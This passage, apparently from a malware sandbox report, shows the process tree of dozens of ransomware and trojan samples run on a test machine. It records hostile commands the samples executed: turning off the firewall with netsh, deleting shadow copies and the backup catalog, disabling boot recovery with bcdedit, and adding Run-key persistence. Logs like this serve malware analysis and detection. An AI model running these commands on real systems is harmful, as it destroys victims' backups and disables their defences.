                                        HEUR-Trojan-Ransom.Win32.Locky.gen-a249f9af6a0d1bbf1e93c5b32944b5124cb6c7dc72051d96cae343b8ee78361e.exe
                                        4⤵
                                          PID:1952
                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Phobos.vho-ec21b0fae8166d18ea5f9dddd8fdbb5fe26dd62903d3173388b97208d724f3c8.exe
                                        HEUR-Trojan-Ransom.Win32.Phobos.vho-ec21b0fae8166d18ea5f9dddd8fdbb5fe26dd62903d3173388b97208d724f3c8.exe
                                        3⤵
                                          PID:1216
                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Phobos.vho-ec21b0fae8166d18ea5f9dddd8fdbb5fe26dd62903d3173388b97208d724f3c8.exe
                                            "C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Phobos.vho-ec21b0fae8166d18ea5f9dddd8fdbb5fe26dd62903d3173388b97208d724f3c8.exe"
                                            4⤵
                                              PID:2344
                                            • C:\Windows\system32\cmd.exe
                                              "C:\Windows\system32\cmd.exe"
                                              4⤵
                                                PID:1940
                                                • C:\Windows\system32\netsh.exe
                                                  netsh advfirewall set currentprofile state off
                                                  5⤵
                                                  • Modifies Windows Firewall
                                                  PID:6848
                                                • C:\Windows\system32\netsh.exe
                                                  netsh firewall set opmode mode=disable
                                                  5⤵
                                                  • Modifies Windows Firewall
                                                  PID:6160
                                              • C:\Windows\system32\cmd.exe
                                                "C:\Windows\system32\cmd.exe"
                                                4⤵
                                                  PID:4004
                                                  • C:\Windows\system32\vssadmin.exe
                                                    vssadmin delete shadows /all /quiet
                                                    5⤵
                                                    • Interacts with shadow copies
                                                    PID:6892
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic shadowcopy delete
                                                    5⤵
                                                      PID:6084
                                                    • C:\Windows\system32\bcdedit.exe
                                                      bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                      5⤵
                                                      • Modifies boot configuration data using bcdedit
                                                      PID:7136
                                                    • C:\Windows\system32\bcdedit.exe
                                                      bcdedit /set {default} recoveryenabled no
                                                      5⤵
                                                      • Modifies boot configuration data using bcdedit
                                                      PID:6672
                                                    • C:\Windows\system32\wbadmin.exe
                                                      wbadmin delete catalog -quiet
                                                      5⤵
                                                      • Deletes backup catalog
                                                      PID:6396
                                                  • C:\Windows\SysWOW64\mshta.exe
                                                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                    4⤵
                                                      PID:5280
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                      4⤵
                                                        PID:8156
                                                      • C:\Windows\SysWOW64\mshta.exe
                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                        4⤵
                                                          PID:4052
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          "C:\Windows\SysWOW64\mshta.exe" "F:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                          4⤵
                                                            PID:8044
                                                          • C:\Windows\system32\cmd.exe
                                                            "C:\Windows\system32\cmd.exe"
                                                            4⤵
                                                              PID:4988
                                                              • C:\Windows\system32\vssadmin.exe
                                                                vssadmin delete shadows /all /quiet
                                                                5⤵
                                                                • Interacts with shadow copies
                                                                PID:7100
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic shadowcopy delete
                                                                5⤵
                                                                  PID:5584
                                                                • C:\Windows\system32\bcdedit.exe
                                                                  bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                  5⤵
                                                                  • Modifies boot configuration data using bcdedit
                                                                  PID:4596
                                                                • C:\Windows\system32\bcdedit.exe
                                                                  bcdedit /set {default} recoveryenabled no
                                                                  5⤵
                                                                  • Modifies boot configuration data using bcdedit
                                                                  PID:8092
                                                                • C:\Windows\system32\wbadmin.exe
                                                                  wbadmin delete catalog -quiet
                                                                  5⤵
                                                                  • Deletes backup catalog
                                                                  PID:6396
                                                            • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8189efde1d4ae21dee178ed824c3c7d483d62fe678f10168224e8a08d653c8cf.exe
                                                              HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8189efde1d4ae21dee178ed824c3c7d483d62fe678f10168224e8a08d653c8cf.exe
                                                              3⤵
                                                                PID:1684
                                                              • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Shade.pef-5ca2121b8b5edb7d1de8afd934299cc83900dd2b4ba80d95b1693b11d06155fd.exe
                                                                HEUR-Trojan-Ransom.Win32.Shade.pef-5ca2121b8b5edb7d1de8afd934299cc83900dd2b4ba80d95b1693b11d06155fd.exe
                                                                3⤵
                                                                  PID:5076
                                                                • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-0b93588e6462f62c417aa4dec3f21768763668d3b4a7962ce4579d0b3d06d092.exe
                                                                  HEUR-Trojan.MSIL.Crypt.gen-0b93588e6462f62c417aa4dec3f21768763668d3b4a7962ce4579d0b3d06d092.exe
                                                                  3⤵
                                                                    PID:452
                                                                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-10fc4ad81b9217bbdb65bcceed6d0db2694be2fa37d18ebd63d22e20c7ea87e5.exe
                                                                    HEUR-Trojan.MSIL.Crypt.gen-10fc4ad81b9217bbdb65bcceed6d0db2694be2fa37d18ebd63d22e20c7ea87e5.exe
                                                                    3⤵
                                                                      PID:4860
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4860 -s 1060
                                                                        4⤵
                                                                        • Program crash
                                                                        PID:6044
                                                                    • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-110355960af2b279d8f8d3213ec402ed1f6f039d104cd87ea9463e3cd3e378c0.exe
                                                                      HEUR-Trojan.MSIL.Crypt.gen-110355960af2b279d8f8d3213ec402ed1f6f039d104cd87ea9463e3cd3e378c0.exe
                                                                      3⤵
                                                                        PID:5320
                                                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-1b18ce7b513855676ef76c17fcf6b6d492f20e197fae1090e722b43f7f5ff2df.exe
                                                                        HEUR-Trojan.MSIL.Crypt.gen-1b18ce7b513855676ef76c17fcf6b6d492f20e197fae1090e722b43f7f5ff2df.exe
                                                                        3⤵
                                                                          PID:5316
                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetpMoonFile.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetpMoonFile.exe"
                                                                            4⤵
                                                                              PID:4648
                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\kunzhang-game.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\kunzhang-game.exe"
                                                                              4⤵
                                                                                PID:5468
                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\kunzhang-game.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\kunzhang-game.exe" -q
                                                                                  5⤵
                                                                                    PID:6924
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 848
                                                                                      6⤵
                                                                                      • Program crash
                                                                                      PID:7144
                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\update.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\update.exe"
                                                                                  4⤵
                                                                                    PID:4696
                                                                                • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-1cd3ab361978536d255091f7ec0cc8721ae74a8e80f02738c9d7991d25551bd7.exe
                                                                                  HEUR-Trojan.MSIL.Crypt.gen-1cd3ab361978536d255091f7ec0cc8721ae74a8e80f02738c9d7991d25551bd7.exe
                                                                                  3⤵
                                                                                    PID:5288
                                                                                    • C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe"
                                                                                      4⤵
                                                                                        PID:6492
                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe" "WindowsServices.exe" ENABLE
                                                                                          5⤵
                                                                                          • Modifies Windows Firewall
                                                                                          PID:804
                                                                                    • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-33ca31452fa88581eb327146aed3c6c18fff650c575b2e2d29024f3b04eb4a80.exe
                                                                                      HEUR-Trojan.MSIL.Crypt.gen-33ca31452fa88581eb327146aed3c6c18fff650c575b2e2d29024f3b04eb4a80.exe
                                                                                      3⤵
                                                                                        PID:5240
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5240 -s 1668
                                                                                          4⤵
                                                                                          • Program crash
                                                                                          PID:5528
                                                                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-34eea6efe1c6bf1b1d7d6c92c4c5897564975e63dda3454a68ac4e19f44b976a.exe
                                                                                        HEUR-Trojan.MSIL.Crypt.gen-34eea6efe1c6bf1b1d7d6c92c4c5897564975e63dda3454a68ac4e19f44b976a.exe
                                                                                        3⤵
                                                                                          PID:6088
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 1680
                                                                                            4⤵
                                                                                            • Program crash
                                                                                            PID:3108
                                                                                        • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-384d3857386e2564916121f7ef1bd50075eae468ab8f0aeac346d6f9bc2e58e2.exe
                                                                                          HEUR-Trojan.MSIL.Crypt.gen-384d3857386e2564916121f7ef1bd50075eae468ab8f0aeac346d6f9bc2e58e2.exe
                                                                                          3⤵
                                                                                            PID:60
                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe
                                                                                            HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe
                                                                                            3⤵
                                                                                              PID:3156
                                                                                              • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe
                                                                                                "C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe"
                                                                                                4⤵
                                                                                                  PID:6508
                                                                                                • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe
                                                                                                  "C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe"
                                                                                                  4⤵
                                                                                                    PID:304
                                                                                                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe
                                                                                                    "C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-4939fd9f7a6efe903622f1eba7bf9b23c2b978e1c2b907bdf0192373151bc511.exe"
                                                                                                    4⤵
                                                                                                      PID:972
                                                                                                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-52ec6ee1f7796fd12c2afc3b2927fe586df55263ce52ec081d7588d11ebe6f60.exe
                                                                                                    HEUR-Trojan.MSIL.Crypt.gen-52ec6ee1f7796fd12c2afc3b2927fe586df55263ce52ec081d7588d11ebe6f60.exe
                                                                                                    3⤵
                                                                                                      PID:6020
                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
                                                                                                        dw20.exe -x -s 984
                                                                                                        4⤵
                                                                                                          PID:6672
                                                                                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-5b7c0b52e450e2ebdc2b78663c9f998e0009883c48ef9a4e88cdd51fa6a7bd39.exe
                                                                                                        HEUR-Trojan.MSIL.Crypt.gen-5b7c0b52e450e2ebdc2b78663c9f998e0009883c48ef9a4e88cdd51fa6a7bd39.exe
                                                                                                        3⤵
                                                                                                          PID:6644
                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-5b7c0b52e450e2ebdc2b78663c9f998e0009883c48ef9a4e88cdd51fa6a7bd39.exe
                                                                                                            C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-5b7c0b52e450e2ebdc2b78663c9f998e0009883c48ef9a4e88cdd51fa6a7bd39.exe
                                                                                                            4⤵
                                                                                                              PID:7044
                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-6f32a3abb3397719f59e78eeef85c07c07f167c3d12a8467aad65b1450389fae.exe
                                                                                                            HEUR-Trojan.MSIL.Crypt.gen-6f32a3abb3397719f59e78eeef85c07c07f167c3d12a8467aad65b1450389fae.exe
                                                                                                            3⤵
                                                                                                              PID:7160
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 876
                                                                                                                4⤵
                                                                                                                • Program crash
                                                                                                                PID:6836
                                                                                                            • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-7b685e14f9283f373682bc559203fb69b36412580d1951b84f1922538e9899f0.exe
                                                                                                              HEUR-Trojan.MSIL.Crypt.gen-7b685e14f9283f373682bc559203fb69b36412580d1951b84f1922538e9899f0.exe
                                                                                                              3⤵
                                                                                                                PID:6104
                                                                                                              • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-8ccff7fe69502a1c7a107ba8a7906ae8cda676413fc9ac9c242c9244021a1582.exe
                                                                                                                HEUR-Trojan.MSIL.Crypt.gen-8ccff7fe69502a1c7a107ba8a7906ae8cda676413fc9ac9c242c9244021a1582.exe
                                                                                                                3⤵
                                                                                                                  PID:6292
                                                                                                                • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-c41be31a7039b478f8b5e5858672fe7568e3aae49c8984154fbd17ade039fc87.exe
                                                                                                                  HEUR-Trojan.MSIL.Crypt.gen-c41be31a7039b478f8b5e5858672fe7568e3aae49c8984154fbd17ade039fc87.exe
                                                                                                                  3⤵
                                                                                                                    PID:2644
                                                                                                                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.gen-f663110aed2d5fdecf27fba39beabc90e72397d4fd661f381d1767aac3cf4438.exe
                                                                                                                    HEUR-Trojan.MSIL.Crypt.gen-f663110aed2d5fdecf27fba39beabc90e72397d4fd661f381d1767aac3cf4438.exe
                                                                                                                    3⤵
                                                                                                                      PID:6940
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6940 -s 1672
                                                                                                                        4⤵
                                                                                                                        • Program crash
                                                                                                                        PID:6008
                                                                                                                    • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Crypt.vho-45c888a043acd745d8a25044c2b336d09f68ca059eb392e3008c13240cfd2539.exe
                                                                                                                      HEUR-Trojan.MSIL.Crypt.vho-45c888a043acd745d8a25044c2b336d09f68ca059eb392e3008c13240cfd2539.exe
                                                                                                                      3⤵
                                                                                                                        PID:7120
                                                                                                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Cryptos.gen-129727517be620d25c789c99145fed6efa74406ebc4409c0fdd9bb603512517c.exe
                                                                                                                        HEUR-Trojan.MSIL.Cryptos.gen-129727517be620d25c789c99145fed6efa74406ebc4409c0fdd9bb603512517c.exe
                                                                                                                        3⤵
                                                                                                                          PID:6344
                                                                                                                        • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.Cryptos.gen-d61db0b3a561443ce18228eef31816793a9f1727d7744bab25d7e60960db5a88.exe
                                                                                                                          HEUR-Trojan.MSIL.Cryptos.gen-d61db0b3a561443ce18228eef31816793a9f1727d7744bab25d7e60960db5a88.exe
                                                                                                                          3⤵
                                                                                                                            PID:5400
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute youtube.com
                                                                                                                              4⤵
                                                                                                                                PID:6684
                                                                                                                            • C:\Users\Admin\Desktop\00481\HEUR-Trojan.MSIL.DelShad.gen-2cff45822710dd346e270970a3b780505f7f781f9982bf331bdd411802516d41.exe
                                                                                                                              HEUR-Trojan.MSIL.DelShad.gen-2cff45822710dd346e270970a3b780505f7f781f9982bf331bdd411802516d41.exe
                                                                                                                              3⤵
                                                                                                                                PID:1112
                                                                                                                                • C:\ProgramData\pay.exe
                                                                                                                                  "C:\ProgramData\pay.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:7628
                                                                                                                                    • C:\Windows\SysWOW64\notepad.exe
                                                                                                                                      notepad.exe
                                                                                                                                      5⤵
                                                                                                                                        PID:7748
                                                                                                                                  • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.cgth-0d409dfd5a0460730a4be2f411160142085b959ae5758f111235ff68cc71bd27.exe
                                                                                                                                    Trojan-Ransom.Win32.Blocker.cgth-0d409dfd5a0460730a4be2f411160142085b959ae5758f111235ff68cc71bd27.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:4140
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\eidolon.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\eidolon.exe"
                                                                                                                                        4⤵
                                                                                                                                          PID:6576
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Windows\temp\tttdelzzz.bat" "
                                                                                                                                          4⤵
                                                                                                                                            PID:884
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Windows\temp\tttbrozzz.bat" "
                                                                                                                                            4⤵
                                                                                                                                              PID:6648
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\USBServers32.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\USBServers32.exe"
                                                                                                                                                5⤵
                                                                                                                                                  PID:4344
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\windows\currentVersion\run /v USBServers32 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\USBServers32.exe" /f
                                                                                                                                                    6⤵
                                                                                                                                                      PID:664
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        reg add HKEY_CURRENT_USER\Software\Microsoft\windows\currentVersion\run /v USBServers32 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\USBServers32.exe" /f
                                                                                                                                                        7⤵
                                                                                                                                                          PID:5908
                                                                                                                                                • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.iyjg-d0e537cf4d3e233be10904e678adaa817e02a91b6deacc812dede1f0bcb655b7.exe
                                                                                                                                                  Trojan-Ransom.Win32.Blocker.iyjg-d0e537cf4d3e233be10904e678adaa817e02a91b6deacc812dede1f0bcb655b7.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5192
                                                                                                                                                  • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.jgb-5325e5ce8465718d8c6ef3bcc4e32f35bf4dff88cb415bde87e45209caefc840.exe
                                                                                                                                                    Trojan-Ransom.Win32.Blocker.jgb-5325e5ce8465718d8c6ef3bcc4e32f35bf4dff88cb415bde87e45209caefc840.exe
                                                                                                                                                    3⤵
                                                                                                                                                      PID:5368
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                        \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                        4⤵
                                                                                                                                                          PID:7900
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            5⤵
                                                                                                                                                              PID:6064
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            4⤵
                                                                                                                                                              PID:7408
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                                \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:7544
                                                                                                                                                            • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.mgn-bfbbb3ef2e95d79700d7b2154fe6496de70b2448cc0438abdbf58cc1ac4c666a.exe
                                                                                                                                                              Trojan-Ransom.Win32.Blocker.mgn-bfbbb3ef2e95d79700d7b2154fe6496de70b2448cc0438abdbf58cc1ac4c666a.exe
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3996
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                  \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:8172
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:5300
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:7084
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                          \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:7432
                                                                                                                                                                      • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.ncvy-8874e396ecea1f29603f93e4ad8d5ed38da2470ff9f9e18a37484d63842bab40.exe
                                                                                                                                                                        Trojan-Ransom.Win32.Blocker.ncvy-8874e396ecea1f29603f93e4ad8d5ed38da2470ff9f9e18a37484d63842bab40.exe
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3104
                                                                                                                                                                        • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Blocker.ndsv-7f8cb5304e6bbf126c58c71a05d7d63fe383f07f62eeb3e096bb31e4130c337b.exe
                                                                                                                                                                          Trojan-Ransom.Win32.Blocker.ndsv-7f8cb5304e6bbf126c58c71a05d7d63fe383f07f62eeb3e096bb31e4130c337b.exe
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:7100
                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Cryptodef.aoo-76d246cc31edcab26cf77f36d44a06e89eb060f2a339c2bf2e3af16d4b09d9a1.exe
                                                                                                                                                                            Trojan-Ransom.Win32.Cryptodef.aoo-76d246cc31edcab26cf77f36d44a06e89eb060f2a339c2bf2e3af16d4b09d9a1.exe
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1064
                                                                                                                                                                            • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Cryptodef.aoo-78420d1cbfc991c7e1b8481f516e04a6067a261194cfaff6defa9c2c8e676ac9.exe
                                                                                                                                                                              Trojan-Ransom.Win32.Cryptodef.aoo-78420d1cbfc991c7e1b8481f516e04a6067a261194cfaff6defa9c2c8e676ac9.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5780
                                                                                                                                                                              • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Cryptodef.aoo-7a88430dba2ab076358b34a3d7f7d46b16868c13e696f08d6104de2530268814.exe
                                                                                                                                                                                Trojan-Ransom.Win32.Cryptodef.aoo-7a88430dba2ab076358b34a3d7f7d46b16868c13e696f08d6104de2530268814.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:7968
                                                                                                                                                                                • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Cryptodef.aoo-ad01f0eaee4dea2365b6c074be77d19866d8999f339a7181ce09959c07b64bc6.exe
                                                                                                                                                                                  Trojan-Ransom.Win32.Cryptodef.aoo-ad01f0eaee4dea2365b6c074be77d19866d8999f339a7181ce09959c07b64bc6.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1204
                                                                                                                                                                                  • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nxo-c52541456f38623519a5c208b50ff8935c4f0edf5cf9cbbc5199c1c5d8e4852f.exe
                                                                                                                                                                                    Trojan-Ransom.Win32.Encoder.nxo-c52541456f38623519a5c208b50ff8935c4f0edf5cf9cbbc5199c1c5d8e4852f.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3700
                                                                                                                                                                                    • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nxu-d4045a8a405bace64ecd15fa32c8ef301cf337f481a347359b23373d86a3f914.exe
                                                                                                                                                                                      Trojan-Ransom.Win32.Encoder.nxu-d4045a8a405bace64ecd15fa32c8ef301cf337f481a347359b23373d86a3f914.exe
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:4504
                                                                                                                                                                                      • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nxw-eb4986ba481fa4c8d88159ae1b9c729d5f72478f7998414d13a0dd7625b67f0a.exe
                                                                                                                                                                                        Trojan-Ransom.Win32.Encoder.nxw-eb4986ba481fa4c8d88159ae1b9c729d5f72478f7998414d13a0dd7625b67f0a.exe
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4772
                                                                                                                                                                                        • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nxy-18151fda7582a9abf7c0810e47d20327c7a6b59ef51d2b6e2beb3d88902d0524.exe
                                                                                                                                                                                          Trojan-Ransom.Win32.Encoder.nxy-18151fda7582a9abf7c0810e47d20327c7a6b59ef51d2b6e2beb3d88902d0524.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:6320
                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nya-cd8617cced925e48e71c1e4cec9e7210c0ee7c4f4abd05e9a7b149cf9313ddff.exe
                                                                                                                                                                                            Trojan-Ransom.Win32.Encoder.nya-cd8617cced925e48e71c1e4cec9e7210c0ee7c4f4abd05e9a7b149cf9313ddff.exe
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5200
                                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                cmd.exe /C Del /f /q "C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nya-cd8617cced925e48e71c1e4cec9e7210c0ee7c4f4abd05e9a7b149cf9313ddff.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:7488
                                                                                                                                                                                              • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nzf-b3e82b43750c7d0833f69abd3d31751c9e8face5063573946f61abbdda513eb8.exe
                                                                                                                                                                                                Trojan-Ransom.Win32.Encoder.nzf-b3e82b43750c7d0833f69abd3d31751c9e8face5063573946f61abbdda513eb8.exe
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5964
                                                                                                                                                                                                • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Encoder.nzg-b237c7e4b66392b1a73b505d1813ceac4f957c9ba1fdd2e9c5d3e33f2ed04919.exe
                                                                                                                                                                                                  Trojan-Ransom.Win32.Encoder.nzg-b237c7e4b66392b1a73b505d1813ceac4f957c9ba1fdd2e9c5d3e33f2ed04919.exe
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5576
                                                                                                                                                                                                  • C:\Users\Admin\Desktop\00481\Trojan-Ransom.Win32.Foreign.okhm-00e89eddc18f9bbc93c4c8b204ab3010bbb62a4f237a823e7926c4b1cec1067b.exe
                                                                                                                                                                                                    Trojan-Ransom.Win32.Foreign.okhm-00e89eddc18f9bbc93c4c8b204ab3010bbb62a4f237a823e7926c4b1cec1067b.exe
